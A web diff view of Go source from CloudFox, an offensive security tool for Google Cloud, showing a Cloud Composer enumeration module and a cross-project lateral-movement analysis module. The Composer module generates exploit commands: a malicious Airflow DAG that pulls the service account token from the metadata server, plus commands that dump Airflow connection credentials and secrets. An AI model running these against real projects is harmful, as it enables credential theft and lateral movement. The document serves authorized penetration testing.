}
} else {
// Instance has no authorized networks - single row
body = append(body, []string{
m.GetProjectName(instance.ProjectID),
instance.ProjectID,
instance.Name,
instance.Region,
instance.DatabaseVersion,
instance.Tier,
publicIP,
privateIP,
shared.BoolToYesNo(instance.RequireSSL),
shared.BoolToYesNo(instance.BackupEnabled),
shared.BoolToYesNo(instance.PointInTimeRecovery),
encryptionDisplay,
shared.BoolToYesNo(instance.IAMAuthentication),
shared.BoolToYesNo(instance.PasswordPolicyEnabled),
instance.AvailabilityType,
"-",
"-",
"-",
})
}
}
return body
}
File diff suppressed because it is too large. Load diff
+388
View File
@@ -0,0 +1,388 @@
package commands
import (
"github.com/BishopFox/cloudfox/gcp/shared"
"context"
"fmt"
"strings"
"sync"
composerservice "github.com/BishopFox/cloudfox/gcp/services/composerService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPComposerCommand = &cobra.Command{
Use: globals.GCP_COMPOSER_MODULE_NAME,
Aliases: []string{"airflow"},
Short: "Enumerate Cloud Composer environments",
Long: `Enumerate Cloud Composer (managed Apache Airflow) environments.
Features:
- Lists all Composer environments across locations
- Shows Airflow web UI endpoints
- Identifies service account configuration
- Analyzes network exposure (private vs public)
- Detects overly permissive IP restrictions`,
Run: runGCPComposerCommand,
}
type ComposerModule struct {
gcpinternal.BaseGCPModule
ProjectEnvironments map[string][]composerservice.EnvironmentInfo // projectID -> environments
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for attack path analysis
mu sync.Mutex
}
type ComposerOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o ComposerOutput) TableFiles() []internal.TableFile { return o.Table }
func (o ComposerOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPComposerCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_COMPOSER_MODULE_NAME)
if err != nil {
return
}
module := &ComposerModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectEnvironments: make(map[string][]composerservice.EnvironmentInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *ComposerModule) Execute(ctx context.Context, logger internal.Logger) {
// Get FoxMapper cache from context
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_COMPOSER_MODULE_NAME, m.processProject)
allEnvironments := m.getAllEnvironments()
if len(allEnvironments) == 0 {
logger.InfoM("No Composer environments found", globals.GCP_COMPOSER_MODULE_NAME)
return
}
// Count by state
running := 0
publicEnvs := 0
for _, env := range allEnvironments {
if env.State == "RUNNING" {
running++
}
if !env.PrivateEnvironment {
publicEnvs++
}
}
logger.SuccessM(fmt.Sprintf("Found %d Composer environment(s) (%d running, %d public)",
len(allEnvironments), running, publicEnvs), globals.GCP_COMPOSER_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *ComposerModule) getAllEnvironments() []composerservice.EnvironmentInfo {
var all []composerservice.EnvironmentInfo
for _, envs := range m.ProjectEnvironments {
all = append(all, envs...)
}
return all
}
func (m *ComposerModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Composer in project: %s", projectID), globals.GCP_COMPOSER_MODULE_NAME)
}
svc := composerservice.New()
environments, err := svc.ListEnvironments(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_COMPOSER_MODULE_NAME,
fmt.Sprintf("Could not enumerate Composer environments in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectEnvironments[projectID] = environments
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["composer-commands"] = &internal.LootFile{
Name: "composer-commands",
Contents: "# Composer Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
for _, env := range environments {
m.addToLoot(projectID, env)
}
m.mu.Unlock()
}
func (m *ComposerModule) addToLoot(projectID string, env composerservice.EnvironmentInfo) {
lootFile := m.LootMap[projectID]["composer-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# COMPOSER ENVIRONMENT: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Location: %s\n"+
"# State: %s\n"+
"# Service Account: %s\n"+
"# Private: %s\n",
env.Name, env.ProjectID, env.Location,
env.State, env.ServiceAccount,
shared.BoolToYesNo(env.PrivateEnvironment),
)
// === ENUMERATION COMMANDS ===
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe environment:
gcloud composer environments describe %s --location=%s --project=%s
# List DAGs:
gcloud composer environments run %s --location=%s --project=%s dags list
# List Airflow connections (may contain credentials):
gcloud composer environments run %s --location=%s --project=%s connections list
# List Airflow variables (may contain secrets):
gcloud composer environments run %s --location=%s --project=%s variables list
# List Airflow pools:
gcloud composer environments run %s --location=%s --project=%s pools list
# Show environment configuration:
gcloud composer environments describe %s --location=%s --project=%s --format=json | jq '.config'
`,
env.Name, env.Location, env.ProjectID,
env.Name, env.Location, env.ProjectID,
env.Name, env.Location, env.ProjectID,
env.Name, env.Location, env.ProjectID,
env.Name, env.Location, env.ProjectID,
env.Name, env.Location, env.ProjectID,
)
// === DAG BUCKET COMMANDS ===
if env.DagGcsPrefix != "" {
lootFile.Contents += fmt.Sprintf(
"# === DAG BUCKET COMMANDS ===\n\n"+
"# List DAG files:\n"+
"gsutil ls %s\n\n"+
"# Download all DAGs for analysis:\n"+
"gsutil -m cp -r %s /tmp/composer-dags-%s/\n\n"+
"# Search DAGs for hardcoded credentials:\n"+
"gsutil cat %s/*.py | grep -iE '(password|secret|token|key|credential)'\n\n",
env.DagGcsPrefix,
env.DagGcsPrefix, env.Name,
env.DagGcsPrefix,
)
}
// === EXPLOIT COMMANDS ===
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
// DAG upload for code execution (CRITICAL attack vector)
if env.DagGcsPrefix != "" {
lootFile.Contents += fmt.Sprintf(
"# Upload malicious DAG for code execution (runs as Composer SA: %s):\n"+
"# Create a reverse shell DAG or credential harvester:\n"+
"cat > /tmp/cloudfox_dag.py << 'DAGEOF'\n"+
"from airflow import DAG\n"+
"from airflow.operators.python import PythonOperator\n"+
"from datetime import datetime\n"+
"import subprocess, json\n"+
"def exfil_metadata():\n"+
" # Get SA token from metadata\n"+
" result = subprocess.run(['curl', '-s', '-H', 'Metadata-Flavor: Google',\n"+
" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'],\n"+
" capture_output=True, text=True)\n"+
" print(json.loads(result.stdout))\n"+
"dag = DAG('cloudfox_test', start_date=datetime(2024,1,1), schedule_interval=None)\n"+
"task = PythonOperator(task_id='test', python_callable=exfil_metadata, dag=dag)\n"+
"DAGEOF\n"+
"gsutil cp /tmp/cloudfox_dag.py %s/cloudfox_dag.py\n\n"+
"# Trigger the uploaded DAG:\n"+
"gcloud composer environments run %s --location=%s --project=%s dags trigger cloudfox_test\n\n"+
"# Check DAG run status:\n"+
"gcloud composer environments run %s --location=%s --project=%s dags list-runs -d cloudfox_test\n\n",
env.ServiceAccount,
env.DagGcsPrefix,
env.Name, env.Location, env.ProjectID,
env.Name, env.Location, env.ProjectID,
)
}
// Extract Airflow connection credentials
lootFile.Contents += fmt.Sprintf(
"# Dump Airflow connection credentials:\n"+
"gcloud composer environments run %s --location=%s --project=%s connections list -- -o json\n\n"+
"# Export specific connection details:\n"+
"gcloud composer environments run %s --location=%s --project=%s connections get -- <CONNECTION_ID>\n\n"+
"# Dump all Airflow variables (may contain secrets):\n"+
"gcloud composer environments run %s --location=%s --project=%s variables export -- /tmp/variables.json\n\n",
env.Name, env.Location, env.ProjectID,
env.Name, env.Location, env.ProjectID,
env.Name, env.Location, env.ProjectID,
)
// Airflow Web UI
if env.AirflowURI != "" {
lootFile.Contents += fmt.Sprintf(
"# Airflow Web UI (access via browser with authenticated session):\n"+
"# %s\n\n",
env.AirflowURI,
)
}
lootFile.Contents += "\n"
}
func (m *ComposerModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *ComposerModule) getTableHeader() []string {
return []string{
"Project Name",
"Project ID",
"Name",
"Location",
"State",
"Service Account",
"SA Attack Paths",
"Private",
"Private Endpoint",
"Airflow URI",
"DAG Bucket",
"Image Version",
}
}
func (m *ComposerModule) environmentsToTableBody(environments []composerservice.EnvironmentInfo) [][]string {
var body [][]string
for _, env := range environments {
sa := env.ServiceAccount
if sa == "" {
sa = "(default)"
}
// Check attack paths (privesc/exfil/lateral) for the service account
attackPaths := "run foxmapper"
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
if sa != "(default)" && sa != "" {
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa)
} else {
attackPaths = "No"
}
}
airflowURI := env.AirflowURI
if airflowURI == "" {
airflowURI = "-"
}
dagBucket := env.DagGcsPrefix
if dagBucket == "" {
dagBucket = "-"
}
imageVersion := env.ImageVersion
if imageVersion == "" {
imageVersion = "-"
}
body = append(body, []string{
m.GetProjectName(env.ProjectID),
env.ProjectID,
env.Name,
env.Location,
env.State,
sa,
attackPaths,
shared.BoolToYesNo(env.PrivateEnvironment),
shared.BoolToYesNo(env.EnablePrivateEndpoint),
airflowURI,
dagBucket,
imageVersion,
})
}
return body
}
func (m *ComposerModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID, environments := range m.ProjectEnvironments {
body := m.environmentsToTableBody(environments)
tableFiles := []internal.TableFile{{Name: "composer", Header: m.getTableHeader(), Body: body}}
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = ComposerOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_COMPOSER_MODULE_NAME)
}
}
func (m *ComposerModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allEnvironments := m.getAllEnvironments()
body := m.environmentsToTableBody(allEnvironments)
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
tables := []internal.TableFile{{Name: "composer", Header: m.getTableHeader(), Body: body}}
output := ComposerOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_COMPOSER_MODULE_NAME)
}
}
File diff suppressed because it is too large. Load diff
+662
View File
@@ -0,0 +1,662 @@
package commands
import (
"context"
"fmt"
"strings"
crossprojectservice "github.com/BishopFox/cloudfox/gcp/services/crossProjectService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPCrossProjectCommand = &cobra.Command{
Use: globals.GCP_CROSSPROJECT_MODULE_NAME,
Aliases: []string{"cross-project", "xproject"},
Short: "Analyze cross-project access patterns for lateral movement",
Long: `Analyze cross-project access patterns to identify lateral movement paths and data flows.
This module is designed for penetration testing and identifies:
- Service accounts with access to multiple projects
- Cross-project IAM role bindings
- Potential lateral movement paths between projects
- Cross-project logging sinks (data exfiltration via logs)
- Cross-project Pub/Sub exports (data exfiltration via messages)
- Impersonation targets (which SAs can be impersonated in target projects)
Features:
- Maps cross-project service account access
- Identifies cross-project roles (owner, editor, admin)
- Discovers logging sinks sending logs to other projects
- Discovers Pub/Sub subscriptions exporting to other projects (BQ, GCS, push)
- Generates exploitation commands for lateral movement
- Highlights service accounts spanning trust boundaries
- Shows impersonation targets (run foxmapper first for attack path analysis)
RECOMMENDED: For comprehensive cross-project analysis, use -A to analyze all accessible projects:
cloudfox gcp crossproject -A
This will:
- Use cached org/folder/project data (auto-populated, refreshes every 24h)
- Analyze cross-project patterns across all accessible projects
- Show "Trust Boundary" column indicating if target is Internal, External, or Unknown
TRUST BOUNDARY COLUMN:
- "Internal" - Target project is within your organization
- "External" - Target project is outside your organization (trust boundary crossing!)
- "Unknown" - Cannot determine boundary
ALTERNATIVE: Specify projects manually with -l for a project list file:
cloudfox gcp crossproject -l projects.txt
TIP: Run foxmapper first to populate the Attack Paths column.
WARNING: Requires multiple projects to be specified for effective analysis.
Single project analysis (-p) will have limited results.`,
Run: runGCPCrossProjectCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type CrossProjectModule struct {
gcpinternal.BaseGCPModule
CrossBindings []crossprojectservice.CrossProjectBinding
CrossProjectSAs []crossprojectservice.CrossProjectServiceAccount
LateralMovementPaths []crossprojectservice.LateralMovementPath
CrossProjectSinks []crossprojectservice.CrossProjectLoggingSink
CrossProjectPubSub []crossprojectservice.CrossProjectPubSubExport
LootMap map[string]*internal.LootFile
FoxMapperCache *gcpinternal.FoxMapperCache
OrgCache *gcpinternal.OrgCache
}
// ------------------------------
// Output Struct
// ------------------------------
type CrossProjectOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o CrossProjectOutput) TableFiles() []internal.TableFile { return o.Table }
func (o CrossProjectOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPCrossProjectCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CROSSPROJECT_MODULE_NAME)
if err != nil {
return
}
if len(cmdCtx.ProjectIDs) < 2 {
cmdCtx.Logger.InfoM("Cross-project analysis works best with multiple projects. Consider using -l to specify a project list.", globals.GCP_CROSSPROJECT_MODULE_NAME)
}
module := &CrossProjectModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
CrossBindings: []crossprojectservice.CrossProjectBinding{},
CrossProjectSAs: []crossprojectservice.CrossProjectServiceAccount{},
LateralMovementPaths: []crossprojectservice.LateralMovementPath{},
CrossProjectSinks: []crossprojectservice.CrossProjectLoggingSink{},
CrossProjectPubSub: []crossprojectservice.CrossProjectPubSubExport{},
LootMap: make(map[string]*internal.LootFile),
}
module.initializeLootFiles()
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *CrossProjectModule) Execute(ctx context.Context, logger internal.Logger) {
// Get FoxMapper cache for graph-based analysis
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_CROSSPROJECT_MODULE_NAME)
}
// Get org cache from context (auto-loaded at startup)
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
// If no context cache, try loading from disk cache
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
if err == nil && diskCache != nil && diskCache.IsPopulated() {
m.OrgCache = diskCache
}
}
logger.InfoM(fmt.Sprintf("Analyzing cross-project access patterns across %d project(s)...", len(m.ProjectIDs)), globals.GCP_CROSSPROJECT_MODULE_NAME)
svc := crossprojectservice.New()
// Analyze cross-project bindings
bindings, err := svc.AnalyzeCrossProjectAccess(m.ProjectIDs, m.OrgCache)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
"Could not analyze cross-project access")
} else {
m.CrossBindings = bindings
}
// Get cross-project service accounts
sas, err := svc.GetCrossProjectServiceAccounts(m.ProjectIDs)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
"Could not get cross-project service accounts")
} else {
m.CrossProjectSAs = sas
}
// Find lateral movement paths
paths, err := svc.FindLateralMovementPaths(m.ProjectIDs, m.OrgCache)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
"Could not find lateral movement paths")
} else {
m.LateralMovementPaths = paths
}
// Find cross-project logging sinks
sinks, err := svc.FindCrossProjectLoggingSinks(m.ProjectIDs)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
"Could not find cross-project logging sinks")
} else {
m.CrossProjectSinks = sinks
}
// Find cross-project Pub/Sub exports
pubsubExports, err := svc.FindCrossProjectPubSubExports(m.ProjectIDs)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
"Could not find cross-project Pub/Sub exports")
} else {
m.CrossProjectPubSub = pubsubExports
}
if len(m.CrossBindings) == 0 && len(m.CrossProjectSAs) == 0 && len(m.LateralMovementPaths) == 0 &&
len(m.CrossProjectSinks) == 0 && len(m.CrossProjectPubSub) == 0 {
logger.InfoM("No cross-project access patterns found", globals.GCP_CROSSPROJECT_MODULE_NAME)
return
}
// Add findings to loot
for _, binding := range m.CrossBindings {
m.addBindingToLoot(binding)
}
for _, sa := range m.CrossProjectSAs {
m.addServiceAccountToLoot(sa)
}
for _, path := range m.LateralMovementPaths {
m.addLateralMovementToLoot(path)
}
for _, sink := range m.CrossProjectSinks {
m.addLoggingSinkToLoot(sink)
}
for _, export := range m.CrossProjectPubSub {
m.addPubSubExportToLoot(export)
}
logger.SuccessM(fmt.Sprintf("Found %d binding(s), %d SA(s), %d lateral path(s), %d logging sink(s), %d pubsub export(s)",
len(m.CrossBindings), len(m.CrossProjectSAs), len(m.LateralMovementPaths),
len(m.CrossProjectSinks), len(m.CrossProjectPubSub)), globals.GCP_CROSSPROJECT_MODULE_NAME)
m.writeOutput(ctx, logger)
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *CrossProjectModule) initializeLootFiles() {
m.LootMap["crossproject-commands"] = &internal.LootFile{
Name: "crossproject-commands",
Contents: "# Cross-Project Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
func (m *CrossProjectModule) addBindingToLoot(binding crossprojectservice.CrossProjectBinding) {
// Only add if there are exploitation commands
if len(binding.ExploitCommands) > 0 {
m.LootMap["crossproject-commands"].Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# %s -> %s (%s)\n"+
"# =============================================================================\n",
m.GetProjectName(binding.SourceProject),
m.GetProjectName(binding.TargetProject),
cleanRole(binding.Role),
)
m.LootMap["crossproject-commands"].Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
for _, cmd := range binding.ExploitCommands {
m.LootMap["crossproject-commands"].Contents += cmd + "\n"
}
m.LootMap["crossproject-commands"].Contents += "\n"
}
}
func (m *CrossProjectModule) addServiceAccountToLoot(sa crossprojectservice.CrossProjectServiceAccount) {
// Skip - service account cross-project access is covered by bindings and lateral movement paths
// Adding separate impersonation commands would be redundant
}
func (m *CrossProjectModule) addLateralMovementToLoot(path crossprojectservice.LateralMovementPath) {
// Only add if there are exploitation commands
if len(path.ExploitCommands) > 0 {
// Clean up role names for display
var cleanedRoles []string
for _, r := range path.TargetRoles {
cleanedRoles = append(cleanedRoles, cleanRole(r))
}
m.LootMap["crossproject-commands"].Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# %s -> %s (%s)\n"+
"# =============================================================================\n",
m.GetProjectName(path.SourceProject),
m.GetProjectName(path.TargetProject),
strings.Join(cleanedRoles, ", "),
)
m.LootMap["crossproject-commands"].Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
for _, cmd := range path.ExploitCommands {
m.LootMap["crossproject-commands"].Contents += cmd + "\n"
}
m.LootMap["crossproject-commands"].Contents += "\n"
}
}
func (m *CrossProjectModule) addLoggingSinkToLoot(sink crossprojectservice.CrossProjectLoggingSink) {
// Logging sinks are data exports, not direct exploitation paths
// Skip adding to loot - the table output is sufficient
}
func (m *CrossProjectModule) addPubSubExportToLoot(export crossprojectservice.CrossProjectPubSubExport) {
// Pub/Sub exports are data exports, not direct exploitation paths
// Skip adding to loot - the table output is sufficient
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *CrossProjectModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *CrossProjectModule) getHeader() []string {
return []string{
"Source Project",
"Source Type",
"Source Principal",
"Binding Type",
"Target Project",
"Target Type",
"Target Principal",
"Target Role",
"Attack Path",
"Trust Boundary",
}
}
// getTargetProjectScope returns the scope of the target project relative to the org
func (m *CrossProjectModule) getTargetProjectScope(targetProjectID string) string {
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
return "Unknown"
}
return m.OrgCache.GetProjectScope(targetProjectID)
}
// getImpersonationTarget checks if a role grants impersonation capabilities and returns the target
// Returns (targetType, targetPrincipal) - both "-" if no impersonation target found
func (m *CrossProjectModule) getImpersonationTarget(principal, role, targetProject string) (string, string) {
// Roles that grant impersonation capabilities
impersonationRoles := map[string]bool{
"roles/iam.serviceAccountTokenCreator": true,
"roles/iam.serviceAccountKeyAdmin": true,
"iam.serviceAccountTokenCreator": true,
"iam.serviceAccountKeyAdmin": true,
}
cleanedRole := cleanRole(role)
// Check if this is an impersonation role
if !impersonationRoles[role] && !impersonationRoles[cleanedRole] &&
!strings.Contains(cleanedRole, "serviceAccountTokenCreator") &&
!strings.Contains(cleanedRole, "serviceAccountKeyAdmin") {
return "-", "-"
}
// FoxMapper handles impersonation differently via graph edges
// Since we no longer use AttackPathCache, we rely on FoxMapper or show a generic message
// No specific targets found in cache - this likely means the role was granted at the
// project level (not on specific SAs), which means ALL SAs in the target project can be impersonated
return "Service Account", fmt.Sprintf("All SAs in %s", m.GetProjectName(targetProject))
}
// getPrincipalTypeDisplay returns a human-readable type for the principal
func getPrincipalTypeDisplay(principal string) string {
if strings.HasPrefix(principal, "serviceAccount:") {
return "Service Account"
} else if strings.HasPrefix(principal, "user:") {
return "User"
} else if strings.HasPrefix(principal, "group:") {
return "Group"
} else if strings.HasPrefix(principal, "domain:") {
return "Domain"
}
return "Unknown"
}
// cleanPrincipal removes common prefixes from principal strings for cleaner display
func cleanPrincipal(principal string) string {
// Remove serviceAccount:, user:, group: prefixes
principal = strings.TrimPrefix(principal, "serviceAccount:")
principal = strings.TrimPrefix(principal, "user:")
principal = strings.TrimPrefix(principal, "group:")
principal = strings.TrimPrefix(principal, "domain:")
return principal
}
// cleanRole extracts just the role name from a full role path
func cleanRole(role string) string {
// Handle full project paths like "projects/project-id/roles/customRole"
if strings.Contains(role, "/roles/") {
parts := strings.Split(role, "/roles/")
if len(parts) == 2 {
return parts[1]
}
}
// Handle standard roles like "roles/compute.admin"
if strings.HasPrefix(role, "roles/") {
return strings.TrimPrefix(role, "roles/")
}
return role
}
// extractCrossProjectResourceName extracts just the resource name from a full resource path
func extractCrossProjectResourceName(path string) string {
// Handle various path formats
parts := strings.Split(path, "/")
if len(parts) > 0 {
return parts[len(parts)-1]
}
return path
}
// getAttackPathForTarget returns attack path summary for a principal accessing a target project
func (m *CrossProjectModule) getAttackPathForTarget(targetProject, principal string) string {
// Clean principal for lookup
cleanedPrincipal := cleanPrincipal(principal)
// Check if this is a service account
if strings.Contains(cleanedPrincipal, "@") && strings.Contains(cleanedPrincipal, ".iam.gserviceaccount.com") {
return gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, cleanedPrincipal)
}
return "-"
}
func (m *CrossProjectModule) collectLootFiles() []internal.LootFile {
var lootFiles []internal.LootFile
for _, loot := range m.LootMap {
if loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
return lootFiles
}
// buildTableBodyByTargetProject builds table bodies grouped by target project
// Returns a map of targetProjectID -> [][]string (rows for that target project)
func (m *CrossProjectModule) buildTableBodyByTargetProject() map[string][][]string {
bodyByProject := make(map[string][][]string)
// Add cross-project bindings
for _, binding := range m.CrossBindings {
principalType := getPrincipalTypeDisplay(binding.Principal)
principal := cleanPrincipal(binding.Principal)
role := cleanRole(binding.Role)
attackPath := m.getAttackPathForTarget(binding.TargetProject, binding.Principal)
targetType, targetPrincipal := m.getImpersonationTarget(binding.Principal, binding.Role, binding.TargetProject)
trustBoundary := m.getTargetProjectScope(binding.TargetProject)
row := []string{
m.GetProjectName(binding.SourceProject),
principalType,
principal,
"IAM Binding",
m.GetProjectName(binding.TargetProject),
targetType,
targetPrincipal,
role,
attackPath,
trustBoundary,
}
bodyByProject[binding.TargetProject] = append(bodyByProject[binding.TargetProject], row)
}
// Add cross-project service accounts
for _, sa := range m.CrossProjectSAs {
for _, access := range sa.TargetAccess {
parts := strings.SplitN(access, ": ", 2)
targetProject := ""
role := access
if len(parts) == 2 {
targetProject = parts[0]
role = parts[1]
}
role = cleanRole(role)
attackPath := m.getAttackPathForTarget(targetProject, "serviceAccount:"+sa.Email)
targetType, targetPrincipal := m.getImpersonationTarget(sa.Email, role, targetProject)
trustBoundary := m.getTargetProjectScope(targetProject)
row := []string{
m.GetProjectName(sa.ProjectID),
"Service Account",
sa.Email,
"IAM Binding",
m.GetProjectName(targetProject),
targetType,
targetPrincipal,
role,
attackPath,
trustBoundary,
}
bodyByProject[targetProject] = append(bodyByProject[targetProject], row)
}
}
// Add lateral movement paths
for _, path := range m.LateralMovementPaths {
for _, role := range path.TargetRoles {
principalType := getPrincipalTypeDisplay(path.SourcePrincipal)
principal := cleanPrincipal(path.SourcePrincipal)
cleanedRole := cleanRole(role)
attackPath := m.getAttackPathForTarget(path.TargetProject, path.SourcePrincipal)
targetType, targetPrincipal := m.getImpersonationTarget(path.SourcePrincipal, role, path.TargetProject)
trustBoundary := m.getTargetProjectScope(path.TargetProject)
row := []string{
m.GetProjectName(path.SourceProject),
principalType,
principal,
path.AccessMethod,
m.GetProjectName(path.TargetProject),
targetType,
targetPrincipal,
cleanedRole,
attackPath,
trustBoundary,
}
bodyByProject[path.TargetProject] = append(bodyByProject[path.TargetProject], row)
}
}
// Add logging sinks - these are resources, not principals
for _, sink := range m.CrossProjectSinks {
dest := sink.DestinationType
if sink.Filter != "" {
filter := sink.Filter
if len(filter) > 30 {
filter = filter[:27] + "..."
}
dest = fmt.Sprintf("%s (%s)", sink.DestinationType, filter)
}
trustBoundary := m.getTargetProjectScope(sink.TargetProject)
row := []string{
m.GetProjectName(sink.SourceProject),
"Logging Sink",
sink.SinkName,
"Data Export",
m.GetProjectName(sink.TargetProject),
"-",
"-",
dest,
"-",
trustBoundary,
}
bodyByProject[sink.TargetProject] = append(bodyByProject[sink.TargetProject], row)
}
// Add Pub/Sub exports - these are resources, not principals
for _, export := range m.CrossProjectPubSub {
dest := export.ExportType
if export.ExportDest != "" {
destName := extractCrossProjectResourceName(export.ExportDest)
dest = fmt.Sprintf("%s: %s", export.ExportType, destName)
}
trustBoundary := m.getTargetProjectScope(export.TargetProject)
row := []string{
m.GetProjectName(export.SourceProject),
"Pub/Sub",
export.SubscriptionName,
"Data Export",
m.GetProjectName(export.TargetProject),
"-",
"-",
dest,
"-",
trustBoundary,
}
bodyByProject[export.TargetProject] = append(bodyByProject[export.TargetProject], row)
}
return bodyByProject
}
func (m *CrossProjectModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
// For crossproject, output at project level grouped by TARGET project
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
header := m.getHeader()
bodyByProject := m.buildTableBodyByTargetProject()
lootFiles := m.collectLootFiles()
// Create output for each target project
for targetProject, body := range bodyByProject {
if len(body) == 0 {
continue
}
tables := []internal.TableFile{
{
Name: "crossproject",
Header: header,
Body: body,
},
}
output := CrossProjectOutput{
Table: tables,
Loot: lootFiles, // Loot files are shared across all projects
}
outputData.ProjectLevelData[targetProject] = output
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CROSSPROJECT_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
